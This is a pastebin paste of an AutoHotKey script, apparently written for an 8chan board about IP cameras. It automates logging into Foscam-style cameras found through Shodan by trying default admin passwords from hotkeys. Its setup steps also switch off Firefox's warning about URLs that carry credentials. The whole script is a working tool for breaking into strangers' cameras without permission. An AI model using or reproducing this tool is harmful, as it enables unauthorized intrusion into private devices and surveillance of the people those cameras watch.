- ; AutoHotKey.ahk - Foscam-style default password AutoHotKey login script
- ; by zxc, 3/2/15
- ; for 8chan's /ipcam/
- ; SETUP
- ; 1. Install AutoHotKey
- ; https://github.com/AutoHotkey/AutoHotkey/releases/download/v1.0.48.05/AutoHotkey104805_Install.exe
- ; 2. Open it. It should open the default script, AutoHotkey.ahk, in Notepad.
- ; If not, click File -> Edit Script
- ; 3. Delete entire script, replace with this script.
- ; 4. Save in Notepad, then click File -> Reload Script. Now setup browser.
- ;
- ; For Firefox:
- ; 5. You need to disable a messagebox that will pop up every time you use a URL with l/p.
- ; ("You are about to log in to the site ...")
- ; 6. Type this in Firefox browser address bar: about:config
- ; 7. Right click on list, select New -> Integer
- ; 8. Type: network.http.phishy-userpass-length
- ; 9. Enter value: 255
- ; Walkthrough of above: http://www.codereye.com/2010/07/firefox-disable-login-confirmation.html
- ; 10. All set. The script by default has hotkeys set for Firefox.
- ; 11. OPTIONAL: Install Link Gopher to grab all links from Shodan easily.
- ; https://addons.mozilla.org/en-us/firefox/addon/link-gopher/
- ;
- ; For Chrome botnet/"browser":
- ; 5. Comment out Firefox hotkeys and uncomment Chrome hotkeys.
- ;
- ; For IE:
- ; Just changing to iexplore.exe doesn't do it. Need something else to get it to load URL.
- ; Honestly, IE is too shit to bother figuring this out but if you do, please add it here.
- ; HOW TO USE:
- ; 1. Copy cam URL to clipboard.
- ; 2. Press Windows+Z for admin/(blank) login, Win+X for admin/123456 and Win+C for admin/12345
- ;
- ; NOTE: This will only work with cams that use a standard HTTP l/p form.
- ; >>>>>>> FIREFOX keys (see note above re: disabling annoying messagebox)
- #z::
- strip := SubStr(clipboard,8)
- Run firefox.exe http://admin@%strip%
- return
- #x::
- strip := SubStr(clipboard,8)
- Run firefox.exe http://admin:123456@%strip%
- return
- #c::
- strip := SubStr(clipboard,8)
- Run firefox.exe http://admin:12345@%strip%
- return
- ; >>>>>>>> CHROME keys (remove ; in front of lines, and put ; before all the Firefox lines)
- ;#z::
- ;strip := SubStr(clipboard,8)
- ;Run chrome.exe http://admin@%strip%
- ;return
- ;#x::
- ;strip := SubStr(clipboard,8)
- ;Run chrome.exe http://admin:123456@%strip%
- ;return
- ;#c::
- ;strip := SubStr(clipboard,8)
- ;Run chrome.exe http://admin:12345@%strip%
- ;return
SHARE
TWEET
/ipcam/ autologin script
a guest
Mar 2nd, 2015
233
Never
RAW Paste Data
